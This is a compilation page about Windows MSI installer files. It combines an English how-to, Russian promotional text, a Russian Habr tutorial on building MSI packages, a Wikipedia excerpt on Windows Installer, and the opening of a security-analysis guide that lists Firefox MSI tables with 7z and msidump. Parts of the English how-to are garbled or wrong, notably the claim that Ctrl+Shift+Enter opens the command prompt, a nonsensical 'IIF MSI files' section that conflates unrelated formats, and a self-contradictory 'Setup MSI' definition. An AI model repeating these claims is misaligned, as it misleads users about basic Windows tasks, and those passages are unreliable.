Что такое windows 64 bit msi

An MSI file is a Windows Installer format used to install software on Windows operating systems. The MSI file extension is used to install, uninstall, configure, and update programs on the computer.

Let us define MSI extension:

What is an MSI file?

MSI or Microsoft Installer files represent Windows package files that store installation information. Installer packages are data collection sets (relational databases) formally arranged into data tables.

MSI files are used by some versions of Windows to install updates from Windows Update and use third-party installation tools. The MSI file contains all the information necessary to install the software, including the files that need to be installed and where those files need to be installed on your computer.

MSI files are generally used to install software on Windows computers but can also be used to update or uninstall software. The Windows Installer service configures installer packages like Windows applications or update packages.

When you execute an MSI file format, the installation wizard will start. During this process, what generally happens is:

  • Files are copied to the system,
  • The registry keys get applied,
  • Installation instructions are executed, including file associations, services, and custom actions.

When you download a software package in MSI format, you usually see both .msi and .exe file extensions. The .exe file is the executable installer file to install the software on your computer. The .msi file is the installation package that will be used by the Windows Installer service to install the software.

Difference between MSI file and EXE file

Windows Installer uses MSI files to install software on a system. They contain all the information necessary for the installer to copy files, set registry values, etc. Non-MSI installers extract their installation resources directly and manage their installation themselves. This can be difficult to do correctly, as errors may not be caught until runtime.

what is msi file

Setup.exe files are used as bootstrappers or non-MSI installers.  A bootstrapper is a self-extracting executable that contains an MSI file. When run, the setup.exe will call Windows Installer to install the MSI. This is preferable to using individual MSI files, as it allows several MSIs to be installed sequentially.

MSI files are installer packages that always meet certain requirements and are standardized, making them reliable and easy to use. On the other hand, EXE files are highly customizable and offer more flexibility to developers. They can contain other EXE and MSI files, as well as dependencies. Additionally, they can be compiled in many different ways and languages. While MSI files require the Windows Installer, EXE installers do not. This makes them ideal for network deployments where the Windows Installer is unavailable.

What is Windows 64-bit MSI?

Windows 64-bit MSI is a Windows Installer that installs 64-bit packages. 64-bit MSI files are also used to install, store, and remove programs.

Let us see how we can open the MSI file:

How to install the MSI file?

MSI files will be opened automatically with the Windows installer if you double-click on the file. Additionally, you can install MSI files using the command prompt in Windows. MSI files are packaged in an archived format, so you can extract content using a file unlock program such as 7-Zip.

If you have this or a similar program installed, you can right-click on the MSI file and choose to open or remove all the files stored inside.

How to install MSI files on MAC?

To open an MSI file on MAC, you need to use MAC file extractor software and follow the steps:

  • Download the MAC extractor software, for example, “Extract Now.”
  • Install the software.
  • Open extracting software.
  • Extract the MSI files.

See how to extract MSI files using 7zip software:

How to run and install the MSI file from the command prompt?

To run the MSI file from the command prompt, do the following steps:

  1. Type “CMD” in the Start menu or press the Ctrl+Shift+Enter keys simultaneously.
  2. Click the Yes button to see the command prompt black window
  3. Navigate to the MSI file folder. To enter the new folder, type “CD NewFolder.” To exit from directory “CD..”
  4. When entering the MSI file folder, type the MSI file name and press Enter.

See how to run the MSI file from the command prompt in this video:

What are IIF MSI files?

IIF MSI files represent the Microsoft installer format commonly used in Microsoft software, such as spreadsheet software. To open IIF format, please use an Excel file or Notepad. This file format is usually used by Quickbooks and other spreadsheet programs.

IIF functions return the value passed as the TruePart parameter if the expression evaluates to True; otherwise, they return it as the FalsePart parameter.

Setup MSI

A setup MSI is a setup.exe file that acts as a bootstrapper because it contains an MSI instead of individual files. However, some setup.exe acts as a non-MSI installer to extract the installation resources and manage their installation directly. In this case, the setup.exe will call Windows Installer to install the MSI.

Many organizations offer IT developers MSI versions to customize the software in their environments. For example:

Firefox MSI

Firefox Enterprise offers MSI installers per CPU architecture 32 or 64-bit, locale, and channel. Firefox MSI helps system administrators to customize and deploy Firefox in their environments.

See example: https://www.mozilla.org/en-US/firefox/all/#product-desktop-release.

  • About
  • Latest Posts
link to Facebook Ads to Get Followers!

Facebook Ads to Get Followers!

Creating strategic Facebook ads can be an effective solution for those looking to increase page likes and foster organic growth. This post will guide you through setting up Facebook ads for page…


link to ClickUp vs. Slack

ClickUp vs. Slack

Comparing ClickUp and Slack depends on your specific needs, as these tools are designed for different purposes. Below is a breakdown to help you decide:
Purpose and Functionality
ClickUp: A…

Файл с расширением msi – это важный элемент в сфере программного обеспечения, который часто используется для установки и управления различными приложениями на компьютерах под управлением операционных систем Windows. Этот формат является одной из ключевых составляющих, обеспечивающих возможность безболезненной установки, обновления и удаления программ, что делает его незаменимым инструментом для разработчиков и пользователей.

С развитием технологий и ростом популярности операционной системы Windows, необходимость в эффективных методах распространения и установки программного обеспечения становилась все более актуальной. Файл формата msi представил собой качественное решение данной задачи, предоставив удобный и надежный способ для разработчиков распространять свои продукты.

Бренд Windows, благодаря интеграции с этим форматом, смог предложить пользователям интуитивно понятный метод работы с программами. В мsi файлах использованы мощные механизмы, позволяющие безопасно и эффективно управлять установленными приложениями, что очень важно для обеспечения стабильности и производительности системы в целом.

История появления и развития этого формата файла тесно связана с совершенствованием операционных систем компании Microsoft и их стремлением обеспечить максимально комфортное пользовательское взаимодействие.

Файлы msi: что это?

MSI-файлы играют ключевую роль в установке приложений в операционной системе Windows. Они помогают пользователям установить, обновить и удалить программы, сохраняя данные об установке в специальном формате. Давайте разберёмся с их структурами и особенностями.

Изначально этот формат был разработан корпорацией Microsoft для упрощения процесса установки программного обеспечения. За годы использования этот формат стал популярным не только среди разработчиков ПО, но и среди пользователей, благодаря своей надежности и удобству. История бренда Microsoft тесно переплетается с этим типом файлов, так как он был одним из ключевых аспектов развития их экосистемы.

Для открытия и работы с такими файлами используются специальные инструменты, предоставляемые как самой Microsoft, так и сторонними разработчиками. Основным компонентом является Windows Installer, который управляет процессом установки и удаления программ, обеспечивая целостность и чистоту операционной системы.

Особенность Описание
Создание и использование Используются для установки, обновления и удаления программного обеспечения.
Структура Содержат информацию об установке, файлы программы и данные конфигурации.
Инструменты Открываются с помощью Windows Installer и сторонних утилит.
Актуальность Являются стандартом для многих современных приложений.

Таким образом, файлы msi представляют собой мощный инструмент для управления программными продуктами в среде Windows. За каждым таким файлом стоит история и технологии, развивающиеся вместе с операционной системой этого бренда.

Установка с помощью MSI

MSI – это популярный формат установщика, поддерживающий многочисленные функции, которые делают процесс инсталляции наиболее эффективным и удобным. Этот формат стал брендом в своем роде благодаря своей надежности и простоте использования.

Процесс установки включает несколько этапов, каждый из которых направлен на обеспечение безошибочной и безопасной установки программного обеспечения на ваш компьютер. Рассмотрим основные шаги:

  1. Скачивание файла: Изначально нужно открыть официальный сайт разработчика или другого проверенного источника и загрузить файл MSI.
  2. Запуск инсталлятора: После того как файл был успешно скачан, двойным кликом открываем его. Это действие запускает последовательность установки.
  3. Следование указаниям: На экране появляются инструкции и условия лицензионного соглашения, которые необходимо внимательно изучить и подтвердить.
  4. Выбор параметров установки: Некоторые инсталляторы позволяют выбрать директорию установки и установить дополнительные компоненты или функции.
  5. Процесс установки: Теперь инсталлятор автоматически копирует файлы, настраивает необходимые параметры и регистрирует компонент в системе.
  6. Завершение: По окончании процесса установки будет предложено перезагрузить систему или сразу запустить установленное приложение.

История формирования и развития MSI как формата установщика привела к созданию технологии, которая экономит время и усилия пользователей, гарантируя при этом высокую степень надежности и безопасности процесса установки. Благодаря этим особенностям, MSI заслужил свою популярность и сегодня широко используется для установки различного программного обеспечения.

Таким образом, используя MSI, пользователи могут быть уверены в безупречном процессе установки, который открывает возможности безопасной и удобной эксплуатации программного обеспечения.

Инструменты для работы с msi

Для эффективного взаимодействия с msi-файлами существует множество полезных инструментов. Разные программы позволяют выполнять разнообразные операции с этими файлами, будь то их создание, редактирование или анализ. В данном разделе мы рассмотрим наиболее популярные решения и подробно расскажем о возможностях каждого из них.

Одним из ведущих инструментов является Orca. Эта утилита от корпорации Microsoft идеально подходит для редактирования msi-файлов. С ее помощью можно изменять таблицы и записи, что делает процесс модификации более гибким. Orca позволяет детально изучить структуру пакета и внести необходимые изменения.

Другой важный инструмент — InstEd. Это редактор msi, который часто используют разработчики для создания и тестирования установочных файлов. InstEd предлагает удобный интерфейс, который облегчает работу с базовыми и расширенными параметрами пакета. Это ПО помогает отслеживать историю изменений, что полезно для управления версиями установочных файлов.

Специалисты, работающие с msi на профессиональном уровне, ценят возможности программы Advanced Installer. Этот мощный инструмент позволяет не только открывать и редактировать файлы, но и интегрироваться с продуктами различных брендов. Advanced Installer поддерживает автоматизацию процессов и создание сложных сценариев установки.

Для анализа и диагностики msi-файлов часто применяется SuperOrca. Эта утилита предоставляет доступ к таблицам базы данных и позволяет исследовать данные внутри пакета. Благодаря таким особенностям, SuperOrca помогает выявить и устранить ошибки, что значительно повышает надежность установочных файлов.

Не стоит забывать и о WiX Toolset. Этот набор инструментов позволяет создавать msi-файлы из исходного кода, что дает возможность разработчикам полностью контролировать процесс сборки установочных пакетов. WiX Toolset поддерживает интеграцию с другими системами разработки и является незаменимым помощником при создании сложных установочных сценариев.

Каждый из перечисленных инструментов имеет свои уникальные возможности, которые делают работу с msi-файлами более удобной и продуктивной. Выбор конкретного решения зависит от своих задач и уровня подготовки специалиста.

Отличия msi и exe

При установке программного обеспечения на компьютер пользователи часто встречают файлы с расширениями MSI и EXE. Несмотря на кажущееся сходство, эти форматы имеют значительные различия. Рассмотрим, чем же они различаются и в каких случаях предпочтительнее использовать тот или иной тип файла.

Файлы с расширением .msi представляют собой установочные пакеты, разработанные специально для операционной системы Windows. Такие файлы создаются с использованием Windows Installer, инструмента компании Microsoft. MSI-файл обычно содержит всю необходимую информацию для установки, обновления и удаления программного обеспечения. Это делает их удобным вариантом для комплексного управления программными установками в корпоративной среде.

С другой стороны, файлы с расширением .exe представляют собой исполняемые файлы. Они могут содержать не только установочные пакеты, но и любые другие программы или скрипты. EXE-файлы обладают способностью запускаться и открывать различные программы и приложения непосредственно. Происхождение EXE формата можно проследить до начала вековой истории Windows, что делает его одним из самых старых и наиболее широко используемых форматов в операционной системе Microsoft.

Бренды программного обеспечения также могут предпочитать один формат другому. Например, некоторые крупные компании, такие как Adobe или Autodesk, выбирают MSI формат для своих установочных пакетов, чтобы обеспечить простоту интеграции и автоматизации развертывания в корпоративных сетях. В то время как множество других разработчиков отдают предпочтение EXE файлам благодаря их универсальности и совместимости.

Подводя итоги, MSI файлы нацелены на обеспечение профессиональной установки и управления программным обеспечением, тогда как EXE файлы служат универсальным решением для различных задач. Понимание этих различий помогает пользователям выбирать наиболее подходящий формат в зависимости от их конкретных нужд и условий эксплуатации.

Создание собственных msi

Для создания инсталляционного файла можно воспользоваться несколькими подходами:

  • Применение специализированных инструментов для разработки msi-пакетов.
  • Использование интегрированных возможностей сред разработки, таких как Visual Studio.
  • Создание msi вручную с помощью WiX Toolset либо аналогичных инструментов.

Основные шаги для создания msi-пакета включают:

  1. Подготовка исходных данных: Создание каталогов и подготовка файлов программы, структурирование их в логически организованные директории.
  2. Настройка проекта: Открытие и настройка проекта в выбранной среде разработки или инструменте, добавление всех необходимых файлов, установление параметров установки.
  3. Конфигурирование компонентов: Определение компонентов и их зависимостей, указание возможных условий установки.
  4. Формирование пользовательских интерфейсов: Настройка интерфейсов для установки (например, приветственные экраны, соглашения о лицензии), добавление фирменных элементов бренда, таких как лого и цвета.
  5. Тестирование сборки: Проведение тестов на разных системах для проверки корректности установки и функционирования приложения.
  6. Создание итогового мsi-файла: Генерация финального инсталляционного пакета и его распространение пользователям.

Благодаря структурированному подходу и применению функциональных инструментов, вы сможете самостоятельно создавать качественные msi-пакеты, которые поднимут ваш бренд на новый уровень. Помните, что тестирование является ключевым этапом для обеспечения надёжности и стабильности установки вашего программного обеспечения.

Преимущества формата msi

Формат установки программ от бренда Microsoft давно завоевал популярность благодаря своим уникальным достоинствам. Этот формат удобен и функционален, предлагает множество возможностей для пользователя и разработчика, делая взаимодействие с компьютерными приложениями максимально эффективным и комфортным.

Упрощение установки и удаления – Один из ключевых плюсов данного формата заключается в простоте инсталляции и деинсталляции программ. Пользователи могут без труда открывать и устанавливать приложения без необходимости в дополнительных манипуляциях. Автоматический процесс настройки и конфигурирования программного обеспечения значительно экономит время и усилия.

Стабильность и надежность – Формат обеспечивает высокую устойчивость к ошибкам при установке. В случае возникновения проблем пользователи могут легко восстановить исходное состояние системы. Таким образом, минимизируется риск сбоев и повреждений файлов, повышается общая стабильность работы программ, что особенно важно для корпоративного использования.

Безопасность и контроль – Одним из важных преимуществ является усиленная защита. Файлы подписываются цифровыми сертификатами, что гарантирует их подлинность и защищает от вмешательства злоумышленников. Кроме того, IT-специалисты могут тщательно контролировать все устанавливаемые программные продукты, предотвращая нежелательные изменения в системной инфраструктуре.

Широкие возможности автоматизации – Для администраторов и разработчиков формат открывает возможности автоматизации задач, что значительно облегчает процесс установки на множество устройств одновременно. Сценарии и командные файлы могут значительно ускорить работу, упрощая массовое развертывание и обновление программного обеспечения.

Единая структура – Формат отличается структурированной организацией файлов и настроек. Это облегчает поиск конкретных элементов и управление ими. Также стандартный подход к хранению данных улучшает совместимость с другими системами, позволяя решить множество задач без дополнительных разработок.

Время на прочтение7 мин

Количество просмотров55K

Технология Windows Installer (MSI) является стандартом де-факто в мире системных администраторов, занимающихся распространением и поддержкой программного обеспечения для десктопных и серверных версий Windows. Формат MSI поддерживается всеми крупнейшими системами управления конфигурациями (Microsoft SCCM, CA Unicenter и многими другими), а для некоторых систем распространения ПО — является единственным поддерживаемым форматом.
Мой опыт работы с этой технологией — как теоретический, так и практический — приобретен за время работы в компании «Инфопульс Украина» и связан с созданием MSI-пакетов и подготовкой готовых MSI-пакетов к автоматической установке в корпоративной среде.

Зачем это вам?

Если вы занимаетесь централизованной установкой приложений в сетях Windows, знание формата MSI и умение создавать и редактировать пакеты в этом формате вам может здорово пригодиться при подготовке пакета к развертыванию и диагностике проблем. В Европе и США технология Windows Installer востребована многими крупными заказчиками, поэтому знание MSI может быть плюсом для системного администратора при трудоустройстве.

Что нужно знать и уметь перед началом изучения?

Ничего сложного. Если у вас есть опыт администрирования и поддержки небольшой (а лучше большой, иерархической) сети Windows-машин, вероятнее всего вы уже сталкивались с основными вопросами и понятиями, которые вам понадобятся. Перед тем, как начать, убедитесь, что вы хорошо понимаете структуру файловой системы Windows, структуру профиля пользователя и структуру реестра, знаете что такое процессы и службы в Windows, умеете управлять учетными записями пользователей и знаете где находятся журналы событий. Для того, чтобы научиться создавать пакеты MSI, вам совсем необязательно иметь опыт разработчика, хотя конечно лучше если такой опыт у вас есть. И совсем не обязательно уметь писать запросы на SQL, хотя это тоже может пригодиться (ведь каждый MSI-файл — это небольшая реляционная база данных). Но обязательно нужно уметь читать и понимать техническую документацию на английском, без этого скорее всего ничего не получится. При изучении теории (и при создании пакетов на практике) постарайтесь хотя бы на первых порах строго следовать стандартам Windows Installer, избегая вспомогательных утилит типа InstallShield/InstallScript, так вы лучше поймёте как правильно создать MSI-пакет.

Готовим песочницу и начинаем практику

Начать нужно с установки и настройки виртуальной машины. В процессе обучения вам придется немало поэкспериментировать, поэтому лучше сделать это в песочнице. Если нужны бесплатные продукты — устанавливаем VirtualBox или VMWare Player (для профессиональных задач их функционала может быть недостаточно, но для обучения — вполне подойдет). В виртуальной машине, естественно, нужно установить Windows на ваш выбор (XP и выше).
Если у вас уже есть опыт работы с утилитами от Sysinternals — прекрасно. Если нет — самое время восполнить пробел. Нам понадобятся минимум две: для отслеживания файловой и реестровой активности приложения при установке или во время его работы — Process Monitor, для запуска инсталляции от имени учетной записи LocalSystem — PsExec. Попрактикуйтесь использовать эти утилиты на простом приложении типа notepad (с какими ресурсами работает notepad при открытии файла, при сохранении файла; запустите notepad от имени пользователя LocalSystem, поэкспериментируйте с сохранением файлов и установкой файловых ассоциаций), в дальнейшем эти навыки пригодятся.

Установите Panda QuickShot или другой софт для сравнения состояний системы. Разберитесь с основным функционалом, научитесь отслеживать файловые и реестровые изменения в системе при установке нового приложения или изменении параметров системы (самое простое — зарегистрируйте новую файловую ассоциацию для notepad, измените обои рабочего стола и отследите где хранятся эти настройки). Подойдите к этому творчески, поле для экспериментов обширное.

Panda Orca pic

Скачайте MSI-инсталлятор какого-нибудь несложного приложения (например, Orca, InstEd или Firefox). Установите пакет на виртуальной машине, с помощью описанных выше утилит изучите устанавливаемые им ресурсы. Научитесь пользоваться командной строкой Windows Installer (msiexec /?), поэкспериментируйте с различными опциями установки и сравните результат. Выполните удаление приложения из командной строки, установите пакет в автоматическом (silent) режиме.
Установите InstEd или  Orca на хост-машине. Откройте MSI-пакет, который вы устанавливали на виртуальной машине, с помощью одной из этих утилит. Сравните записи основных таблиц в MSI-пакете (File, Directory, Registry) с ресурсами (файлы, папки, ключи реестра), установленными этим пакетом на вашей виртуальной машине (результат сравнения снимков состояний с помощью Panda QuickShot).

InstEd Orca pic

Немного теории

Теперь самое время взяться за теорию. Не буду дублировать официальную документацию и отдельные полезные статьи по ссылкам ниже, просто попробую перечислить вещи, с которыми нужно разобраться для начала:

  • Таблица Property, код продукта (ProductCode), код пакета (PackageCode), стандартные свойства в MSI;
  • Таблица Upgrade и код обновления (UpgradeCode);
  • Таблицы Feature, Component и их назначение;
  • Таблицы Directory, File, Registry, Shortcut;
  • Способы хранения файлов приложения, поставляемых с MSI-пакетом, таблица Media;
  • Трансформы, их создание и применение из командной строки.

Прочтение документации по указанным темам подкрепляйте экспериментами на готовых пакетах, а со временем можно попробовать сделать пакет самому. Этих знаний вам будет достаточно для внесения небольших изменений в MSI-пакеты при подготовке к развертыванию в корпоративной среде (типовые задачи — задание свойств пакета, правка реестра, удаление файлов и ярлыков, отключение кнопки Remove для приложения в Add/Remove Programs). Только не забывайте после внесения любых правок в пакет выполнять тщательное тестирование перед запуском пакета в промышленную эксплуатацию. При тестировании обязательно используйте рекомендации, приведенные в этой статье.
Думаю, на этом пока можно закончить вводную часть. В дальнейшем (если будет интерес) я попробую рассказать об особенностях некоторых готовых MSI-пакетов, предоставляемых производителями ПО для развертывания в корпоративной среде и рассмотреть другие интересующие системных администраторов вопросы.
Пожелания, замечания, а также предложения по темам для следующих статей приветствуются.

Обзор утилит и документации

Бесплатно можно использовать простые редакторы MSI-файлов с ограниченным функционалом — здесь упоминания заслуживают классическая Orca от Microsoft и довольно удобный InstEd. Эти редакторы позволяют вносить небольшие изменения в готовые MSI-файлы, создавать и применять трансформы, но создавать в них MSI-пакеты с нуля довольно непросто (а для больших пакетов — и вовсе не имеет смысла). Но если вы действительно хотите изучить технологию MSI, вам просто необходимо собрать пару простых пакетов в InstEd или Orca и выполнить их валидацию на соответствие стандарту Windows Installer.
Специализированные утилиты для выполнения setup capture (создания или конвертирования установочных пакетов из так называемых «старых форматов»» в формат MSI с использованием сравнения «снимков» системы до и после установки приложения или мониторинга изменений в системе «на лету») — бесплатный AppDeploy Repackager, или более серьезный MSI Generator. MSI-пакетам, созданным с  использованием этих утилит, может потребоваться некоторая доработка, которую можно выполнить с помощью редактора MSI.
Серьёзные полнофункциональные (и весьма дорогие) IDE, обеспечивающие поддержку полного цикла работ с MSI-пакетами — если вы будете заниматься технологией MSI профессионально, вам скорее всего не обойтись без этих программ. В этом сегменте до недавнего времени доминировали два продукта — AdminStudio от Flexera и Wise Package Studio от Symantec, но недавно Symantec объявил о прекращении работ по развитию Wise Package Studio, и рынок переходит в руки Flexera. Кроме работы с MSI, AdminStudio позволяет работать с виртуальными пакетами форматов Microsoft App-V, VMware Thin App и Citrix XenApp. Для ознакомительных целей доступна пробная 21-дневная версия.
Отдельно стоит упомянуть WIX (Windows Installer XML) — набор утилит для создания MSI-файлов из XML-описаний. Этот проект был выпущен «Майкрософтом» под открытой лицензией Common Public License, поддерживает интерфейс командной строки и может использоваться для автоматизации создания версий инсталляционных пакетов. Хорошее описание есть на Хабре.

Полезные ресурсы:

Статьи по Windows Installer на RSDN: раз, два. Хороши тем, что описывают основные концепции и понятия MSI на русском языке и в довольно читабельной форме. Статьи немного устарели (описывают стандарт 2.0), но актуальности не потеряли. Важно понимать, что только этих статей для изучения MSI недостаточно — нужно много читать MSDN и много практиковаться.
Статьи на MSDN — самый полный источник информации, которая понадобится в процессе изучения и дальнейшей работы. Присутствуют пошаговые упражнения для практики по созданию MSI-пакетов с нуля.
AppDeploy.com — общедоступная база знаний по приложениям, часто можно найти особенности установки или настройки готовых пакетов, выпускаемых крупными вендорами (Adobe, Microsoft), командные строки для автоматизации установки и другие полезные вещи.
Для удобства продублирую ссылки на программы из текста одним списком:

  • Виртуальные машины: VirtualBox или VMWare Player.
  • Утилиты Sysinternals: Process Monitor, PsExec, полный список утилит с описаниями.
  • Программы для редактирования MSI-файлов: InstEd, Orca (нужно устанавливать как часть Windows 7 SDK).
  • Программы для создания MSI-файлов: AppDeploy Repackager, MSI Generator, AdminStudio (пробная версия).

From Wikipedia, the free encyclopedia

This article is about the Microsoft Windows component. For the installation of the operating system itself, see Windows Setup.

Windows Installer

Help screen of Windows Installer 5.0 running on Windows 11

Developer(s) Microsoft
Initial release 31 August 1999; 25 years ago
Final release

5.0
/ 22 July 2009; 15 years ago[1]

Operating system Microsoft Windows
Platform IA-32, x86-64, ARM32, ARM64, Itanium
Included with Windows 2000 and later
Type Installer
License Freeware
Website learn.microsoft.com/en-us/windows/win32/msi/windows-installer-portal 

Windows Installer Package[2]

Filename extension

.msi, .msp

Internet media type

application/x-ole-storage

Developed by Microsoft
Type of format Archive
Container for Installation information and an optional .cab file payload
Extended from COM Structured Storage
Open format? No

Windows Installer (msiexec.exe, previously known as Microsoft Installer,[3] codename Darwin)[4][5] is a software component and application programming interface (API) of Microsoft Windows used for the installation, maintenance, and removal of software. The installation information, and optionally the files themselves, are packaged in installation packages, loosely relational databases structured as COM Structured Storages and commonly known as «MSI files», from their default filename extensions. The packages with the file extensions mst contain Windows Installer «Transformation Scripts», those with the msm extensions contain «Merge Modules» and the file extension pcp is used for «Patch Creation Properties».[6] Windows Installer contains significant changes from its predecessor, Setup API. New features include a GUI framework and automatic generation of the uninstallation sequence. Windows Installer is positioned as an alternative to stand-alone executable installer frameworks such as older versions of InstallShield and NSIS.

Before the introduction of Microsoft Store (then named Windows Store), Microsoft encouraged third parties to use Windows Installer as the basis for installation frameworks, so that they synchronize correctly with other installers and keep the internal database of installed products consistent. Important features such as rollback and versioning depend on a consistent internal database for reliable operation. Furthermore, Windows Installer facilitates the principle of least privilege by performing software installations by proxy for unprivileged users.

Logical structure of packages

[edit]

A package describes the installation of one or more full products and is universally identified by a GUID. A product is made up of components, grouped into features. Windows Installer does not handle dependencies between products.

A single, installed, working program (or set of programs) is a product. A product is identified by a unique GUID (the ProductCode property) providing an authoritative identity throughout the world. The GUID, in combination with the version number (ProductVersion property), allows for release management of the product’s files and registry keys.

A package includes the package logic and other metadata that relates to how the package executes when running. For example, changing an EXE file in the product may require the ProductCode or ProductVersion to be changed for the release management. However, merely changing or adding a launch condition (with the product remaining exactly the same as the previous version) would still require the PackageCode to change for release management of the MSI file itself.

A feature is a hierarchical group of components. A feature may contain any number of components and other sub-features. Smaller packages can consist of a single feature. More complex installers may display a «custom setup» dialog box, from which the user can select which features to install or remove.

The package author defines the product features. A word processor, for example, might place the program’s core file into one feature, and the program’s help files, optional spelling checker and stationery modules into additional features.

A component is the basic unit of a product. Each component is treated by Windows Installer as a unit. The installer cannot install just part of a component.[7] Components can contain program files, folders, COM components, registry keys, and shortcuts. The user does not directly interact with components.

Components are identified globally by GUIDs; thus the same component can be shared among several features of the same package or multiple packages, ideally through the use of Merge Modules.

A key path is a specific file, registry key, or ODBC data source that the package author specifies as critical for a given component. Because a file is the most common type of key path, the term key file is commonly used. A component can contain at most one key path; if a component has no explicit key path, the component’s destination folder is taken to be the key path. When an MSI-based program is launched, Windows Installer checks the existence of key paths. If there is a mismatch between the current system state and the value specified in the MSI package (e.g., a key file is missing), the related feature is re-installed. This process is known as self-healing or self-repair. No two components should use the same key path.

Developing installer packages

[edit]

Creating an installer package for a new application is not trivial. It is necessary to specify which files must be installed, to where and with what registry keys. Any non-standard operations can be done using Custom Actions, which are typically developed in DLLs. There are a number of commercial and freeware products to assist in creating MSI packages, including Visual Studio (natively up to VS 2010,[8] with an extension on newer VS versions[9]), InstallShield, WiX, InnoSetup and InstallSimple. To varying degrees, the user interface and behavior may be configured for use in less common situations such as unattended installation. Once prepared, an installer package is «compiled» by reading the instructions and files from the developer’s local machine, and creating the .msi file.

Windows Installer may be slower than native code installation technologies, such as InstallAware,[10] due to the overhead of component registration and rollback support, which often involves generating tens of thousands of registry keys and temporary files.

The user interface (dialog boxes) presented at the start of installation can be changed or configured by the setup engineer developing a new installer. There is a limited language of buttons, text fields and labels which can be arranged in a sequence of dialogue boxes. An installer package should be capable of running without any UI, for what is called «unattended installation».

Microsoft provides a set of Internal Consistency Evaluators (ICE) that can be used to detect potential problems with an MSI database.[11] The ICE rules are combined into CUB files, which are stripped-down MSI files containing custom actions that test the target MSI database’s contents for validation warnings and errors. ICE validation can be performed with the Platform SDK tools Orca and msival2, or with validation tools that ship with the various authoring environments.

For example, some of the ICE rules are:

  • ICE09: Validates that any component destined for the System folder is marked as being permanent.
  • ICE24: Validates that the product code, product version, and product language have appropriate formats.
  • ICE33: Validates that the Registry table is not used for data better suited for another table (Class, Extension, Verb, and so on).

Addressing ICE validation warnings and errors is an important step in the release process.

  • APPX – Software package format used on Microsoft’s Windows Store
  • App-V – Software package format used for virtualization and streaming
  • .exe
  • List of installation software
  • Package management system
  • Windows Package Manager
  • ZAP file – a way to perform an application installation when no MSI file exists
  1. ^ «Released Versions of Windows Installer». Microsoft Developer Network. Microsoft. Retrieved 3 November 2012.
  2. ^ «File Extension .MSI Details». Filext.com. Retrieved 2013-04-24.
  3. ^ Mensching, Rob (2003-11-25). «Inside the MSI file format». MSDN Blogs. Archived from the original on 2009-01-15. Retrieved 2017-02-15.
  4. ^ Mensching, Rob (2003-10-11). «The story of Orca». MSDN Blogs. Archived from the original on 2008-12-23. Retrieved 2017-02-15.
  5. ^ Smith, Chris (2005-07-01). «Windows Installer, The .NET Framework, The Bootstrapper, and You». MSDN Blogs. Retrieved 2017-02-15.
  6. ^ Stewart, Heath (2006-02-27). «Identifying Windows Installer File Types». Retrieved 2020-04-22.
  7. ^ «Windows Installer Components». MSDN Library. Microsoft Corporation. 2012-11-30. Retrieved 2013-04-08.
  8. ^ Hodges, Buck (2011-03-17). «Visual Studio setup projects (vdproj) will not ship with future versions of VS». MSDN Blogs. Retrieved 2020-02-04.
  9. ^ «Visual Studio Installer Projects Extension». Visual Studio Blog. 2014-04-17. Retrieved 2020-02-04.
  10. ^ «Extending Windows Installer with Faster Native Code Setup Engine» (Press release). 9 November 2010. Retrieved 22 August 2024.
  11. ^ Internal Consistency Evaluators – ICEs
  • Official website

Keypoints

How to Analyze Windows Installer Security

  • Windows Installer is the de facto standard for software installations under Windows
  • MSI files contain all information, files and data for an installation
  • The CustomActions can contain executable Code
  • the Windows Installer Service runs with the highest local system privileges
  • MSI packages are often misused for malware distribution

Software packages are usually installed and deinstalled using an installation program. This ensures that its products and applications are installed and configured according to the conditions and requirements of the operating system in use. In addition to copying the individual components such as executable files, libraries and configuration files to the local storage medium, an installation program often performs other tasks such as adding registry entries, creating shortcuts, associating file extensions, etc.

The Windows Installer, also known as Microsoft Installer or MSI, is an installation and configuration service for software packages that is built into Windows. Windows Installer is widely used and corresponding installation packages are often used in organizations for software distribution and software management. In 2018 Microsoft announced MSIX as a new universal package format for all Windows platforms. Perhaps MSIX will eventually replace MSI, although currently MSI is well established and will remain so for the foreseeable future.

Install Packages

The Windows Installer uses installation packages which are files with the file extension .msi. MSI installation packages contain all the information and content required for installing a software package as well as the setup user interface that is displayed during the installation process. The following table shows the common file extensions used in the context of the Windows Installer:

Extension Description
.msi Windows Installer Database
.msm Windows Installer Merge Module
.msp Windows Installer Patch
.mst Windows Installer Transform
.idt Exported Windows Installer Database Table
.cub Validation module
.pcp Windows Installer Patch Creation File

MSI packages can be created using tools from the Windows SDK or with third party applications.

Installation Process

The execution of the installation packages and the installation of the components is controlled by the Windows program msiexec.exe.

Windows Installer Options

It offers extensive options and interacts with a Windows system service called Windows Installer Service that runs with the highest local privileges.

Windows Installer System Service

Various aspects of the Windows Installer can be controlled by group policies at the User and Machine level.

MSI File Format

MSI files are relational SQL databases that exist in the form of compressed COM Structured Storage file. COM Structured Storage is a common format which is used for example for older Office documents. It allows storing different objects in a single file and is therefore a file system in a file. The MSI file format is not publicly documented but the corresponding API and the different database tables are described.

Analysis of MSI Files

Several tools are readily available for analyzing MSI files. For an initial glance, the contents of an MSI file can be extracted with 7zip. The MSI file of Mozilla Firefox was used in the following example.

$ 7z x Firefox\ Setup\ 106.0.2.msi
$ ls
'[5]DigitalSignature'    '!AdminUISequence'       Binary.WrappedExe  '!CreateFolder'  '!Feature'                 '!InstallUISequence'   setup.cab      '!_Tables'
'[5]SummaryInformation'  '!AdvtExecuteSequence'  '!_Columns'         '!CustomAction'  '!FeatureComponents'       '!Media'              '!_StringData'  '!_Validation'
'!AdminExecuteSequence'  '!Binary'               '!Component'        '!Directory'     '!InstallExecuteSequence'  '!Property'           '!_StringPool'

For advanced analysis, a helpful tool is Orca which is part of the Windows SDK and is freely available.

Windows SDK Installation

The installation process of this tool is a bit unintuitive. After the MSI components of the Windows SDK are installed, the Orca installation package is located as an MSI file in the directory C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x86\Orca-x86_en-us.msi from where it can be installed.

After opening an MSI file in Orca, the contained tables and the corresponding data is displayed.

MSI Content Viewed in Orca

Similar information can be extracted from an MSI with the open source tools msitools.

$ msidump -s -t Firefox\ Setup\ 106.0.2.msi
$ ls
AdminExecuteSequence.idt  AdvtExecuteSequence.idt  Binary.idt     CreateFolder.idt  Directory.idt          Feature.idt  _ForceCodepage.idt          InstallUISequence.idt  Property.idt  _SummaryInformation.idt
AdminUISequence.idt       Binary                   Component.idt  CustomAction.idt  FeatureComponents.idt  File.idt     InstallExecuteSequence.idt  Media.idt              _Streams      _Validation.idt

The *.idt files correspond to the tables shown above and contain the same information:

$ cat Property.idt

Property    Value
s72 l0
Property    Property
ALLUSERS    1
